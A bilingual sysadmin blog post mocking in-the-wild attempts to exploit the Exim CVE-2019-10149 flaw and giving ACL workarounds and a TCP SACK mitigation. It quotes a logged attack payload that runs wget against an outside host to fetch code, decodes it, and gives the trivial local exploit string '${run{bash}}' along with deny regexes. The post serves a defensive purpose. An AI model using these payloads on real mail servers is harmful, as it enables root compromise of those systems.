Die Möchtegern-Exim-Exploitwelle geht weiter

Ich könnte mich wegwerfen vor Lachen, die Scriptkids attackieren tatsächlich Server, die Exim in der gepatchten Version laufen haben oder gleich gar keinen Exim, sondern Postfix 😀

Kleine Umfrage auf unserem Cluster

Und so sieht die neueste Version u.a. aus :

2019-06-19 16:08:46 H=(service.com) [98.158.184.125] F=<support@service.com> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fX.X.X.X\x22}}@XXX.XXXXXXX.XX>: you have been blacklisted.

Ich übersetze mal :

/bin/sh -c „wget 64.50.180.45/tmp/X.X.X.X“

Randnotiz: Das SANS Institute glaubte doch glatt, daß die „/bin/sht -ct“ ausführen wollten, weil deren Postfix die „\t“ in „t“ umgewandelt hatte 🙂

Das obige kann nur funktioniert, wenn man danach auch noch chmod u+x /tmp/X.X.X.X;/tmp/X.X.X.X ausführt und wenn der Server auch mal was ausliefern würde, außer der 404 Seite .. aka… Hack schon gefunden und beseitigt 😉  Naja, die hatten ja auch zwei Tage Zeit 😉

Zu viel Drama um die TCP SACK Problematik

Um dem Drama mal den Schwung aus den Segeln zu nehmen:

sudo echo „0“ > /proc/sys/net/ipv4/tcp_sack

auf den gefixten Linux Kernel warten, rebooten, fertig. Wer keinen neueren Kernel bekommt, trotzdem rebooten muß, der fügt :

net.ipv4.tcp_sack = 0

ans Ende der Datei /etc/sysctl.conf an und schon wird SACK beim Start deaktiviert.

Ich könnte natürlich jetzt auch son Quatsch von mir geben wie :

„Ooohhh! Große Lücke im Kernel! Linux Server werden durch DDOS vom Netz genommen! Panik! Ich sagte PANIK! P.A.N.I.K!!!

blöderweise passierte … rein gar nichts davon 😀

Das jeder seinen Krempel mittlerweile nur noch über den Panikbutton vermarktet, macht es echten Lücken, wie der Exim Root-Exploit Geschichte neulich nicht einfacher. Oder dem Firefox Exploit über Javascript! Was fürn Geheul, und ooooooohhh … zwei Tage später der nächste Security Patch… auch wieder alle im Panikmodus. NOSCRIPT installieren und schon ist Ruhe!

Redhat hat 2 Tage gebraucht den FireFox 67.0.3 zu kompilieren, bevor es endlich mal durchlief und ? Juckt das NOSCRIPT User? Nein 🙂

PS: Wer es für Fedora eilig hat mit dem FF Update : https://koji.fedoraproject.org/koji/buildinfo?buildID=1291078

 

Quickfix: Exim <= 4.91 for CVE-2019-10149

Ok, Exim 4.87 < 4.92 has a serious security hole, which can also be trivially exploited: CVE-2019-10149

A lot of fuss has been made about the weak point, but unfortunately nobody has been able to tell whether it can be fended off without an update. Let’s have a look at what it’s all about.

What is the trivial exploit?

As a local attacker it is enough to send an email with Exim’s sendmail replacement to „<${run{bash}}@zieldomain.de>“. At the moment it is delivered, the embedded command (here bash) is executed as root.

The whole thing can also be executed remotely, so it’s a really nasty vulnerability. But only versions > 4.87 < 4.92 are affected. For this, however, various things must be allowed in the config, which is only partially the case in the default configuration. For example, you cannot include a „/“ in the command because these are illegal characters. This of course restricts the attacker from being strong.

Since even on the exim list there was a lot of secrecy in the game until today, here are the equally trivial countermeasures:

Countermeasures

Just don’t allow „$“ in email addresses 😀 That’s it. There only ARGS came to my mind 😀

This comes into your Exim configuration, then restart Exim:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./

….

acl_check_mail:

drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}}

# IMPORTANT: Write in before these instructions, otherwise it’s not working!

accept hosts = +relay_from_hosts

This chokes off the attacker before the email is delivered.

The better countermeasure would of course be to switch to a more recent Exim. But as it is, there are always „reasons“ why and why something can’t be updated.

Nobody gets his teeth apart…

What annoys me most of all about the gap is that this cheap countermeasure does not appear in the Advisory of Qualys and in the hints of the Exim Team. With the Exim people I can still understand it, because they had fixed the bug independently already at the beginning of the year and can say justly: Just do updates.

Qualyss looks different, they write :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Nice that you omitted the exploit, how about the workaround, so that the good guys have a small lead?  And this cryptic hint „a remote attack takes a long time to succeed“ means that you should restart your exim every 24h, because there is some shit with „tar pits“.

These are usually spam traps that respond so slowly that the attacker’s attack is just as tough as in a tar pit, up to „no progress at all“. The attackers take advantage of something like this here. Therefore once in the cron „killall -9 exim; systemctl restart exim“ daily  : Done.

A follow-up of the aftermatch and some real exploits can be found here: Exim – Exploit in der Wildnis unterwegs

Translated with www.DeepL.com/Translator

BTW: yes, ofcourse i could have written it in english myself, but the translation isn’t that bad 😉